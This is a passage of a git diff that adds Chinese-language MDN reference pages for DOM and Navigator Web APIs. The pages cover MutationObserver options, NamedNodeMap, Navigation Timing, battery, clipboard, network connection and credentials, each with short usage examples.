MutationObserverInit 字典描述了 MutationObserver 的配置。因此,它主要被用作 {{domxref("MutationObserver.observe()")}} 方法的参数类型。

+ +

属性

+ +

当调用 {{domxref("MutationObserver.observe", "observe()")}} 方法时,childListattributes 或者 characterData 三个属性之中,至少有一个必须为 true,否则会抛出 TypeError 异常。

+ +
+
{{domxref("MutationObserverInit.attributeFilter", "attributeFilter")}} {{optional_inline}}
+
要监视的特定属性名称的数组。如果未包含此属性,则对所有属性的更改都会触发变动通知。无默认值。
+
{{domxref("MutationObserverInit.attributeOldValue", "attributeOldValue")}} {{optional_inline}}
+
当监视节点的属性改动时,将此属性设为 true 将记录任何有改动的属性的上一个值。有关观察属性更改和值记录的详细信息,详见{{SectionOnPage("/en-US/docs/Web/API/MutationObserver", "Monitoring attribute values")}}。无默认值。
+
{{domxref("MutationObserverInit.attributes", "attributes")}} {{optional_inline}}
+
设为 true 以观察受监视元素的属性值变更。默认值为 false
+
{{domxref("MutationObserverInit.characterData", "characterData")}} {{optional_inline}}
+
设为 true 以监视指定目标节点或子节点树中节点所包含的字符数据的变化。无默认值。
+
{{domxref("MutationObserverInit.characterDataOldValue", "characterDataOldValue")}} {{optional_inline}}
+
设为 true 以在文本在受监视节点上发生更改时记录节点文本的先前值。详情及例子,请查看 {{SectionOnPage("/zh-CN/docs/Web/API/MutationObserver", "Monitoring text content changes")}}。无默认值。
+
{{domxref("MutationObserverInit.childList", "childList")}} {{optional_inline}}
+
设为 true 以监视目标节点(如果 subtreetrue,则包含子孙节点)添加或删除新的子节点。默认值为 false
+
{{domxref("MutationObserverInit.subtree", "subtree")}} {{optional_inline}}
+
设为 true 以将监视范围扩展至目标节点整个节点树中的所有节点。MutationObserverInit 的其他值也会作用于此子树下的所有节点,而不仅仅只作用于目标节点。默认值为 false
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态批注
{{SpecName('DOM WHATWG', '#dictdef-mutationobserverinit', 'MutationObserverInit')}}{{ Spec2('DOM WHATWG') }}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MutationObserverInit")}}

+
diff --git a/files/zh-cn/web/api/mutationrecord/index.html b/files/zh-cn/web/api/mutationrecord/index.html new file mode 100644 index 0000000000..0b2d6a97fe --- /dev/null +++ b/files/zh-cn/web/api/mutationrecord/index.html @@ -0,0 +1,116 @@ +--- +title: MutationRecord +slug: Web/API/MutationRecord +tags: + - API + - DOM + - 参考 + - 进阶 +translation_of: Web/API/MutationRecord +--- +
{{APIRef("DOM")}}
+ +

每个 MutationRecord 都代表一个独立的 DOM 变化,在每次随 DOM 变化调用 {{domxref("MutationObserver")}} 的回调函数时,一个相应的 MutationRecord 会被作为参数,传递给回调函数。

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
{{domxref("MutationRecord.type")}}String如果是属性变化,则返回 "attributes"
+ 如果是 characterData 节点变化,则返回 "characterData"
+ 如果是子节点树 childList 变化,则返回 "childList"
{{domxref("MutationRecord.target")}}{{domxref("Node")}}根据 {{domxref("MutationRecord.type")}},返回变化所影响的节点。
+ 对于属性 attributes 变化,返回属性变化的节点。
+ 对于 characterData 变化,返回 characterData 节点。
+ 对于子节点树 childList 变化,返回子节点变化的节点。
{{domxref("MutationRecord.addedNodes")}}{{domxref("NodeList")}}返回被添加的节点。
+ 如果没有节点被添加,则该属性将是一个空的 {{domxref("NodeList")}}。
{{domxref("MutationRecord.removedNodes")}}{{domxref("NodeList")}}返回被移除的节点。
+ 如果没有节点被移除,则该属性将是一个空的 {{domxref("NodeList")}}。
{{domxref("MutationRecord.previousSibling")}}{{domxref("Node")}}返回被添加或移除的节点之前的兄弟节点,或者 null
{{domxref("MutationRecord.nextSibling")}}{{domxref("Node")}}返回被添加或移除的节点之后的兄弟节点,或者 null
{{domxref("MutationRecord.attributeName")}}String返回被修改的属性的属性名,或者 null
{{domxref("MutationRecord.attributeNamespace")}}String返回被修改属性的命名空间,或者 null
{{domxref("MutationRecord.oldValue")}}String +

返回值取决于 {{domxref("MutationRecord.type")}}。
+ 对于属性 attributes 变化,返回变化之前的属性值。
+ 对于 characterData 变化,返回变化之前的数据。
+ 对于子节点树 childList 变化,返回 null

+ +
+

注意,如果要让这个属性起作用,在相应的 MutationObserverInit 参数的 MutationObserver observe 方法中,attributeOldValue 或者 characterDataOldValue 必须设置为 true

+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#mutationrecord', 'MutationRecord')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM4', '#mutationrecord', 'MutationRecord')}}{{ Spec2('DOM4') }}
+ +

浏览器兼容性

+ + + +

{{Compat("api.MutationRecord")}}

diff --git a/files/zh-cn/web/api/namednodemap/getnameditem/index.html b/files/zh-cn/web/api/namednodemap/getnameditem/index.html new file mode 100644 index 0000000000..0f6ca2b196 --- /dev/null +++ b/files/zh-cn/web/api/namednodemap/getnameditem/index.html @@ -0,0 +1,29 @@ +--- +title: NamedNodeMap.getNamedItem() +slug: Web/API/NamedNodeMap/getNamedItem +tags: + - DOM + - 参考 + - 属性 + - 方法 +translation_of: Web/API/NamedNodeMap/getNamedItem +--- +
{{APIRef("DOM")}}
+ +

{{domxref("NamedNodeMap")}} 接口的 NamedNodeMap.getNamedItem() 方法返回对应给定名称的{{domxref("Attr", "属性")}},如果没有对应名称的属性则返回 null

+ +

语法

+ +
myAttr = attrs.getNamedItem(name)
+ +

参数

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.NamedNodeMap.getNamedItem")}}

diff --git a/files/zh-cn/web/api/namednodemap/index.html b/files/zh-cn/web/api/namednodemap/index.html new file mode 100644 index 0000000000..19fc97780e --- /dev/null +++ b/files/zh-cn/web/api/namednodemap/index.html @@ -0,0 +1,151 @@ +--- +title: NamedNodeMap +slug: Web/API/NamedNodeMap +translation_of: Web/API/NamedNodeMap +--- +
{{APIRef}}
+ +

NamedNodeMap 接口表示属性节点 {{domxref("Attr")}} 对象的集合。尽管在 NamedNodeMap 里面的对象可以像数组一样通过索引来访问,但是它和 {{ domxref("NodeList") }} 不一样,对象的顺序没有指定。

+ +

NamedNodeMap 对象是即时的(live),因此,如果它内部包含的对象发生改变的话,该对象会自动更新到最新的状态。

+ +
+

尽管被称为 NamedNodeMap,但这个接口不是用来处理节点对象({{domxref("Node")}}),而是用来处理属性节点对象({{domxref("Attr")}}),属性节点原来是一种特殊的节点({{domxref("Node")}}),仍然在某些实现环境(浏览器)中有效。

+
+ +

属性

+ +

该接口没有继承任何属性。

+ +
+
{{ domxref("NamedNodeMap.length") }} {{ReadOnlyInline}}
+
返回映射(map)中对象的数量。
+
+ +

方法

+ +

该接口没有继承任何方法。

+ +
+
{{domxref("NamedNodeMap.getNamedItem()")}}
+
返回一个给定名字对应的属性节点({{ domxref("Attr") }})。
+
{{domxref("NamedNodeMap.setNamedItem()")}}
+
替换或添加一个属性节点({{ domxref("Attr") }})到映射(map)中。
+
{{domxref("NamedNodeMap.removeNamedItem()")}}
+
移除一个属性节点({{ domxref("Attr") }})。
+
{{domxref("NamedNodeMap.item()")}}
+
返回指定索引处的属性节点({{ domxref("Attr") }}),或者,当索引超出或等于属性节点的数量时,返回 null
+
{{domxref("NamedNodeMap.getNamedItemNS()")}}
+
根据给定的命名空间参数和name参数返回一个{{ domxref("Attr") }}对象。
+
{{domxref("NamedNodeMap.setNamedItemNS()")}}
+
替换、添加给定命名空间参数和name参数的{{ domxref("Attr") }} 对象 。
+
{{domxref("NamedNodeMap.removeNamedItemNS()")}}
+
删除给定命名空间参数和name参数的{{ domxref("Attr") }} 对象 。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-namednodemap', 'NamedNodeMap')}}{{Spec2('DOM WHATWG')}}Deals with {{domxref("Attr")}} instead of {{domxref("Node")}}
{{SpecName('DOM3 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-1780488922', 'NamedNodeMap')}}{{Spec2('DOM2 Core')}}Added getNamedItemNS(), setNamedItemNS() and removeNamedItemNS()
{{SpecName('DOM1', 'core.html#ID-1780488922', 'NamedNodeMap')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Deals with {{domxref("Attr")}} rather than {{domxref("Node")}}{{ CompatUnknown() }}{{CompatGeckoDesktop(22)}} (but this interface was named mozNamedAttrMap to reflect this change)
+ {{CompatGeckoDesktop(34)}} (interface named back to NamedNodeMap)
+  
{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Deals with {{domxref("Attr")}} rather than {{domxref("Node")}}{{ CompatUnknown() }}{{CompatGeckoMobile(22)}} (but this interface was named mozNamedAttrMap to reflect this change)
+ {{CompatGeckoMobile(34)}} (interface named back to NamedNodeMap)
{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/namelist/index.html b/files/zh-cn/web/api/namelist/index.html new file mode 100644 index 0000000000..8506bc5266 --- /dev/null +++ b/files/zh-cn/web/api/namelist/index.html @@ -0,0 +1,48 @@ +--- +title: NameList +slug: Web/API/NameList +translation_of: Web/API/NameList +--- +

{{APIRef("DOM")}}{{ obsolete_header("10.0") }}

+ +
+

Note: 虽然这个API曾经被用在 Gecko, 事实上它也是没有办法被创建的. NameList从 {{ Gecko("10.0") }}开始已经被废弃了。

+
+ +

提供一个有序的键值对集合. 它可以通过下标0访问. 在DOM规范中没有指定这个集合是如何被应用的.

+ +

属性

+ +
+
{{domxref("NameList.length")}}{{readonlyInline}}
+
+ +

方法

+ +
+
{{domxref("NameList.contains()")}}
+
返回{{jsxref("Boolean")}}.
+
{{domxref("NameList.containsNS()")}}
+
返回 {{jsxref("Boolean")}}
+
{{domxref("NameList.getName()")}}
+
返回{{domxref("DOMString")}}
+
{{domxref("NameList.getNamespaceURI()")}}
+
返回 {{domxref("DOMString")}}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#NameList", "NameList")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/navigation_timing_api/index.html b/files/zh-cn/web/api/navigation_timing_api/index.html new file mode 100644 index 0000000000..a0cc8c3d75 --- /dev/null +++ b/files/zh-cn/web/api/navigation_timing_api/index.html @@ -0,0 +1,191 @@ +--- +title: Navigation Timing API +slug: Web/API/Navigation_timing_API +tags: + - Navigation Timing API +translation_of: Web/API/Navigation_timing_API +--- +

{{DefaultAPISidebar("Navigation Timing")}}

+ +

Navigation Timing API 提供了可用于衡量一个网站性能的数据。与用于相同目的的其他基于JavaScript的机制不同,该API可以提供可以更有用和更准确的端到端延迟数据。

+ +

 

+ +

Concepts and usage

+ +

你可以使用Navigation Timing API在客户端收集性能数据,并用{{domxref("XMLHttpRequest")}} 或其它技术传送到服务端。同时,该API使你可以衡量之前难以获取的数据,如卸载前一个页面的时间,在域名解析上的时间,在执行{{event("load")}}事件处理器上花费的总时间等。

+ +

 

+ +

Interfaces

+ +

{{domxref("Performance")}}

+ +

返回一个Performance对象。该对象由High Resolution Time API定义,Navigation Timing API 在此基础上增加了两个属性:{{domxref("Performance.timing", "timing")}} 和 {{domxref("Performance.navigation", "navigation")}}

+ +

{{domxref("PerformanceNavigationTiming")}}

+ +

提供了方法和属性来存取关于游览器文档navigation事件的相关数据。如文档实际加载/卸载的时间。

+ +

{{deprecated_inline}} {{domxref("PerformanceTiming")}}

+ +

曾被用来获取{{domxref("Performance.timing", "timing")}}的值,用来衡量页面性能。

+ +

{{deprecated_inline}}  {{domxref("PerformanceNavigation")}}

+ +

曾被用来获取{{domxref("Performance.navigation", "navigation")}}的值,用来描述加载相关的操作。

+ +

 

+ +

 

+ +

以下示例显示了如何测量感知加载时间:

+ +
function onLoad() {
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
+}
+
+ +

还有很多以毫秒为单位呈现的测量事件,你可以通过  {{domxref("PerformanceTiming")}} 接口得到它们。按照事件发生的先后顺序,这些事件的列表如下:

+ + + +

window.performance.navigation 对象存储了两个属性,它们表示触发页面加载的原因。这些原因可能是页面重定向、前进后退按钮或者普通的 URL 加载。

+ +

window.performance.navigation.type:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
TYPE_NAVIGATE0 +

导航开始于点击链接、或者在用户代理中输入 URL、或者表单提交、或者通过除下表中 TYPE_RELOAD 和 TYPE_BACK_FORWARD 的脚本初始化操作。

+
TYPE_RELOAD1 +

通过刷新操作或者 location.reload() 方法导航。

+
TYPE_BACK_FORWARD2 +

通过历史遍历操作导航。

+
TYPE_UNDEFINED255 +

其他非以上类型的导航。

+
+ +

window.performance.navigation.redirectCount 表示到达最终页面前,重定向的次数(如果有的话)。

+ +

Navigation Timing API 可以用于收集客户端性能数据,然后通过 XHR 发送给服务端。还可以计算那些其他方法难以计算的数据,如卸载( unload )上一个页面的时间、域名查找时间、window.onload 的总时间等等。

+ +

示例

+ +

计算页面加载所需的总时长:

+ +
var perfData = window.performance.timing;
+var pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;
+
+ +

计算请求返回时长:

+ +
var connectTime = perfData.responseEnd - perfData.requestStart;
+ +

规范

+ + + +

浏览器兼容性

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support6.0{{ CompatGeckoDesktop("7") }}915.08
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.0{{ CompatGeckoDesktop("15") }}915.08
+
diff --git a/files/zh-cn/web/api/navigation_timing_api/using_navigation_timing/index.html b/files/zh-cn/web/api/navigation_timing_api/using_navigation_timing/index.html new file mode 100644 index 0000000000..6f8c12dcf9 --- /dev/null +++ b/files/zh-cn/web/api/navigation_timing_api/using_navigation_timing/index.html @@ -0,0 +1,120 @@ +--- +title: Using Navigation Timing +slug: Web/API/Navigation_timing_API/Using_Navigation_Timing +tags: + - Navigation Timing + - Navigation Timing API + - Optimization + - Performance +translation_of: Web/API/Navigation_timing_API/Using_Navigation_Timing +--- +

{{DefaultAPISidebar("Navigation Timing")}}

+ +

Navigation Timing 接口使你可以轻松获取详细且高度准确的计时信息,以帮助从你的网站代码或资源隔离出性能问题。与其他工具或库不同,Navigation Timing 接口使你可以收集这些只有浏览器才能提供的信息,其准确性要比其他技术大大提高。它还具有能够提供用户所感知的计时信息而不是与用户体验无关的数据的优势。

+ +

收集计时信息

+ +

使用该API就像使用{{domxref("window.performance")}}获取{{domxref("Performance")}}对象并在返回的对象中查找所需内容一样简单。比如,为了测量页面的感知到的加载时间:

+ +
window.addEventListener("load", function() {
+  let now = new Date().getTime();
+  let loadingTime = now - performance.timing.navigationStart;
+
+  document.querySelector(".output").innerText =
+        loadingTime + " ms";
+}, false);
+ +

在发生{{event("load")}}事件时执行的该代码从当前时间中减去浏览器导航开始时记录的时间({{domxref("PerformanceTiming.navigationStart", "performance.timing.navigationStart")}}),并通过将该信息插入到元素中,输出到屏幕。

+ + + +

结合适当的HTML和CSS,结果就是:

+ +

{{EmbedLiveSample("Collecting_timing_information", 500, 80)}}

+ +

列出的值适用于上面展示了示例的{{HTMLElement("iframe")}}。

+ +

你可以在{{domxref("PerformanceTiming")}}中查找可用的计时值的列表,请参见{{domxref("PerformanceTiming")}}接口的“属性”部分。

+ +

确定导航类型

+ +

为了将从 {{domxref("PerformanceTiming")}}获取到的计时信息放入正确的观点,你需要更多地了解发生了哪种加载操作。特别是你需要知道:

+ + + +

此信息由{{domxref("Performance.navigation")}}属性提供,该属性返回包含所需信息的{{domxref("PerformanceNavigation")}}对象。

+ +

让我们将此信息添加到上面的示例中。 新代码如下所示:

+ +
window.addEventListener("load", function() {
+  let now = new Date().getTime();
+  let loadingTime = now - performance.timing.navigationStart;
+
+  output = "Load time: " + loadingTime + " ms<br/>";
+  output += "Navigation type: ";
+
+  switch(performance.navigation.type) {
+      case PerformanceNavigation.TYPE_NAVIGATE:
+        output += "Navigation";
+      break;
+    case PerformanceNavigation.TYPE_RELOAD:
+        output += "Reload";
+      break;
+    case PerformanceNavigation.TYPE_BACK_FORWARD:
+        output += "History";
+      break;
+    default:
+        output += "Unknown";
+      break;
+  }
+
+  output += "<br/>Redirects: " +
+      performance.navigation.redirectCount;
+  document.querySelector(".output").innerHTML = output;
+}, false);
+ +

这通过查看performance.navigation对象的内容来修改了前面的示例。{{domxref("PerformanceNavigation.type", "performance.navigation.type")}}指示发生了哪种加载操作:导航,重新加载或浏览器历史记录的切换。我们还从{{domxref("PerformanceNavigation.redirectCount", "performance.navigation.redirectCount")}}获取导航期间发生的重定向次数。就像以前的页面加载时间一样,此信息通过插入到具有"output"类的元素中输出到屏幕上。

+ + + +

使用此代码后,结果如下所示:

+ +

{{EmbedLiveSample("Determining_navigation_type", 500, 120)}}

+ +

列出的值适用于展示示例的 {{HTMLElement("iframe")}} 。

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/navigator/activevrdisplays/index.html b/files/zh-cn/web/api/navigator/activevrdisplays/index.html new file mode 100644 index 0000000000..6320400e7c --- /dev/null +++ b/files/zh-cn/web/api/navigator/activevrdisplays/index.html @@ -0,0 +1,40 @@ +--- +title: Navigator.activeVRDisplays +slug: Web/API/Navigator/activeVRDisplays +translation_of: Web/API/Navigator/activeVRDisplays +--- +
{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}
+ +

activeVRDisplays是{{domxref("Navigator")}} 接口返回的数组中每个{{domxref("VRDisplay")}}对象中的的只读属性({{domxref("VRDisplay.ispresenting")}}为true).

+ +

语法

+ +
var myActiveDisplays = navigator.activeVRDisplays;
+ +

返回值

+ +

{{domxref("VRDisplay")}}对象数组.

+ +

例子

+ +
function showActive() {
+  var displays = navigator.activeVRDisplays;
+  for(var i = 0; i < displays.length; i++) {
+    console.log('Display ' + displays[i].displayId + ' is active.');
+  }
+}
+
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.activeVRDisplays")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/navigator/battery/index.html b/files/zh-cn/web/api/navigator/battery/index.html new file mode 100644 index 0000000000..b075b170a6 --- /dev/null +++ b/files/zh-cn/web/api/navigator/battery/index.html @@ -0,0 +1,96 @@ +--- +title: Navigator.battery +slug: Web/API/Navigator/battery +translation_of: Web/API/Navigator/battery +--- +

{{ ApiRef("Battery API") }}{{deprecated_header}}

+ +

电池状态API,通常简称为电池API,该API能够让开发者访问用户系统的电池电量以及是否外接电源等电源状态信息,并且在电源状态发生变化时引发事件来开发者。开发者就可以在得知系统电量不足的时候降低你的网站上一些循环执行任务的频率,从而节约电量。或者在电量减少到某个级别的时候,自动保存页面上的一些数据,以防止用户的数据丢失。

+ +
+

电池状态API曾经暴露在{{domxref("window.navigator")}}的battery属性上,但是现在battery属性已经被移除,请使用标准方法{{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}}来代替,该方法返回一个包裹电池状态对象的{{JSxRef("Promise")}}。

+
+ +

Syntax

+ +
var battery = navigator.battery;
+ +

属性

+ +
+
charging
+
只读. 一个布尔值,表示了系统电池的充电状态.如果电池正在充电,则返回true,其他情况,比如无法获取系统电池的充电状态,或者系统不使用电池,或者电池不在充电,都返回false.
+
chargingTime
+
只读. 一个整字,单位为秒.表示了电池还剩多长时间充满电.如果电池已经充满电了,则返回0.如果电池不在充电,或者无法获取到这个时间值,则返回正无穷大.
+
dischargingTime
+
只读.一个数字,单位为秒.表示了电池中的电量还剩多长时间会消耗完毕.如果电池正在充电,或者无法获取到这个时间值,以及如果系统没有电池,则返回正无穷大.
+
level
+
只读. 一个数字,单位为秒.表示了系统的电池的电量等级,从0到1.0.如果电量已经完全消耗完,则返回0,如果电量为充满状态,或者无法获取到这个等级值,以及如果系统没有电池,则返回1.0.
+
+ +

事件

+ +
+
chargingchange
+
charging属性值发生改变时触发该事件.
+
chargingtimechange
+
chargingTime属性值发生改变时触发该事件.
+
dischargingtimechange
+
dischargingTime属性值发生改变时触发该事件.
+
levelchange
+
level属性值发生改变时触发该事件.
+
+ +

示例

+ +

查看规范中的这个例子.

+ +
var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery;
+
+function updateBatteryStatus() {
+  alert("Battery status: " + battery.level * 100 + " %");
+
+  if (battery.charging) {
+    alert("Battery is charging");
+  }
+}
+
+battery.addEventListener("chargingchange", updateBatteryStatus);
+battery.addEventListener("levelchange", updateBatteryStatus);
+updateBatteryStatus();
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Battery API')}}{{Spec2('Battery API')}}Initial specification.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.battery")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/navigator/buildid/index.html b/files/zh-cn/web/api/navigator/buildid/index.html new file mode 100644 index 0000000000..8e9d5fa3d0 --- /dev/null +++ b/files/zh-cn/web/api/navigator/buildid/index.html @@ -0,0 +1,39 @@ +--- +title: Navigator.buildID +slug: Web/API/Navigator/buildID +tags: + - API + - DOM + - Gecko + - 属性 +translation_of: Web/API/Navigator/buildID +--- +

{{ ApiRef("HTML DOM") }}

+ +

返回所使用浏览器的构建标识符。现代浏览器中,这个属性返回一个固定的时间戳作为私有的计量方法,比如 Firefox 64 及以后的版本返回 20181001000000

+ +

语法

+ +
buildID = navigator.buildID;
+
+ +

+ +

一个字符串,用来表示当前应用的构建标识。构建 ID 的格式为:YYYYMMDDHHMMSS

+ +

示例

+ +
console.log(window.navigator.buildID);
+
+ +

规范

+ +

未得到任何公共标准支持。

+ +

浏览器兼容性

+ +

{{Compat("api.Navigator.buildID")}}

+ +

另请参阅

+ +

navigator.buildID 现在返回一个固定的时间戳。

diff --git a/files/zh-cn/web/api/navigator/canshare/index.html b/files/zh-cn/web/api/navigator/canshare/index.html new file mode 100644 index 0000000000..9fe117805d --- /dev/null +++ b/files/zh-cn/web/api/navigator/canshare/index.html @@ -0,0 +1,52 @@ +--- +title: Navigator.canShare +slug: Web/API/Navigator/canShare +translation_of: Web/API/Navigator/canShare +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}}{{securecontext_header}}
+ +
+ +
如果对Navigator.share() 的调用成功,则Web Share API的Navigator.canShare()方法将返回true。
+ +

语法

+ +
var canShare = navigator.canShare(data);
+ +

参数

+ +
+
data {{optional_inline}}
+
包含要共享的数据的对象,该对象要与{{domxref("Navigator.share()")}}方法传递的数据相匹配。
+
+ +

返回值

+ +

{{jsxref('Boolean')}}值. {{domxref("Navigator.share()")}}若返回True则表示内容可以被成功分享。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Share API 2','#canshare-method','canShare')}}{{Spec2('Web Share API 2')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.canShare")}}

+ +

相关连接

+ +

{{domxref('navigator.share', 'navigator.share()')}}

diff --git a/files/zh-cn/web/api/navigator/clipboard/index.html b/files/zh-cn/web/api/navigator/clipboard/index.html new file mode 100644 index 0000000000..5c938b9358 --- /dev/null +++ b/files/zh-cn/web/api/navigator/clipboard/index.html @@ -0,0 +1,65 @@ +--- +title: Navigator.clipboard +slug: Web/API/Navigator/clipboard +tags: + - API + - Navigator + - 剪切 + - 剪切板 + - 参考 + - 只读 + - 复制 + - 属性 + - 粘贴 +translation_of: Web/API/Navigator/clipboard +--- +

剪贴板 Clipboard API{{domxref("Navigator")}} 接口添加了只读属性 clipboard,该属性返回一个可以读写剪切板内容的 {{domxref("Clipboard")}} 对象。 在 Web 应用中,剪切板 API 可用于实现剪切、复制、粘贴的功能。

+ +

只有在用户事先授予网站或应用对剪切板的访问许可之后,才能使用异步剪切板读写方法。许可操作必须通过取得权限 Permissions API"clipboard-read" 和/或 "clipboard-write" 项获得。

+ +

语法

+ +
theClipboard = navigator.clipboard;
+
+ +

+ +

用于访问系统剪切板的 {{domxref("Clipboard")}} 对象。

+ +

示例

+ +

以下代码使用 navigator.clipboard 来访问系统剪切板,以读取系统剪切板的内容。

+ +
navigator.clipboard.readText().then(
+  clipText => document.querySelector(".cliptext").innerText = clipText);;
+ +

这个代码片段将 HTML 中拥有类名 "cliptext" 的第一个元素的内容替换为剪切板中的内容。这段代码可用于在浏览器拓展中定时自动更新或者由事件触发,实时显示当前剪切板上的内容。

+ +

如果剪切板为空,或者不包含文本,则 "cliptext" 元素的内容将被清空。这是因为在剪切板为空或者不包含文本时,{{domxref("Clipboard.readText", "readText()")}} 会返回一个空字符串。

+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Clipboard API','#navigator-clipboard','navigator.clipboard')}}{{Spec2('Clipboard API')}}初次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.clipboard")}}

+ +
{{APIRef("Clipboard API")}}
diff --git a/files/zh-cn/web/api/navigator/connection/index.html b/files/zh-cn/web/api/navigator/connection/index.html new file mode 100644 index 0000000000..23e3aaa29b --- /dev/null +++ b/files/zh-cn/web/api/navigator/connection/index.html @@ -0,0 +1,45 @@ +--- +title: Navigator.connection +slug: Web/API/Navigator/connection +translation_of: Web/API/Navigator/connection +--- +
{{APIRef("Network Information API")}}{{SeeCompatTable}}
+ +

Navigator.connection 是只读的,提供一个{{domxref("NetworkInformation")}} 对象来获取设备的网络连接信息。例如用户设备的当前带宽或连接是否被计量, 这可以用于基于用户的连接来选择高清晰度内容或低清晰度内容。

+ +

语法

+ +
connectionInfo = navigator.connection
+ +

+ +

返回网络连接状态NetworkInformation对象,包括.downlink(网络下行速度)  effectiveType(网络类型) onchange(有值代表网络状态变更) rtt(估算的往返时间) saveData(打开/请求数据保护模式)

+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('Network Information', '#h-the-connection-attribute', 'Navigator.connection')}}{{Spec2('Network Information')}}初次定义
+ +

浏览器兼容情况

+ +

{{Compat("api.Navigator.connection")}}

+ +

参考资料

+ + diff --git a/files/zh-cn/web/api/navigator/cookieenabled/index.html b/files/zh-cn/web/api/navigator/cookieenabled/index.html new file mode 100644 index 0000000000..033531f4a4 --- /dev/null +++ b/files/zh-cn/web/api/navigator/cookieenabled/index.html @@ -0,0 +1,54 @@ +--- +title: Navigator.cookieEnabled +slug: Web/API/Navigator/cookieEnabled +tags: + - API + - DOM + - cookie + - 属性 +translation_of: Web/API/Navigator/cookieEnabled +--- +

{{ ApiRef("HTML DOM") }}

+ +

navigator.cookieEnabled 返回一个布尔值,来表示当前页面是否启用了 cookie。本属性为只读属性。

+ +

语法

+ +
let cookieEnabled = navigator.cookieEnabled;
+
+ + + +

示例

+ +
if (!navigator.cookieEnabled) {
+  // 浏览器不支持 cookie,或者用户禁用了 cookie。
+}
+
+ +

标准

+ + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName("HTML WHATWG", "webappapis.html#dom-navigator-cookieenabled", "Navigator.cookieEnabled")}}{{Spec2("HTML WHATWG")}}初次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.cookieEnabled")}}

diff --git a/files/zh-cn/web/api/navigator/credentials/index.html b/files/zh-cn/web/api/navigator/credentials/index.html new file mode 100644 index 0000000000..c27009d5f1 --- /dev/null +++ b/files/zh-cn/web/api/navigator/credentials/index.html @@ -0,0 +1,101 @@ +--- +title: credentials +slug: Web/API/Navigator/credentials +translation_of: Web/API/Navigator/credentials +--- +

{{SeeCompatTable}}{{APIRef("")}}

+ +

{{domxref("Navigator")}}接口的credentials属性返回{{domxref("CredentialsContainer")}}接口,该接口暴露了请求凭证的方法。 {{domxref("CredentialsContainer")}}接口还会在下相关事件发生时通知用户,例如登录或注销成功。该接口可用于特征检测。

+ +

语法

+ +
var credentialsContainer = navigator.credentials
+ +

返回值

+ +

{{domxref("CredentialsContainer")}} 接口.

+ +

示例

+ +
if ('credentials' in navigator) {
+  navigator.credentials.get({password: true})
+  .then(function(creds) {
+    //Do something with the credentials.
+  });
+} else {
+  //Handle sign-in the way you did before.
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Credential Management')}}{{Spec2('Credential Management')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
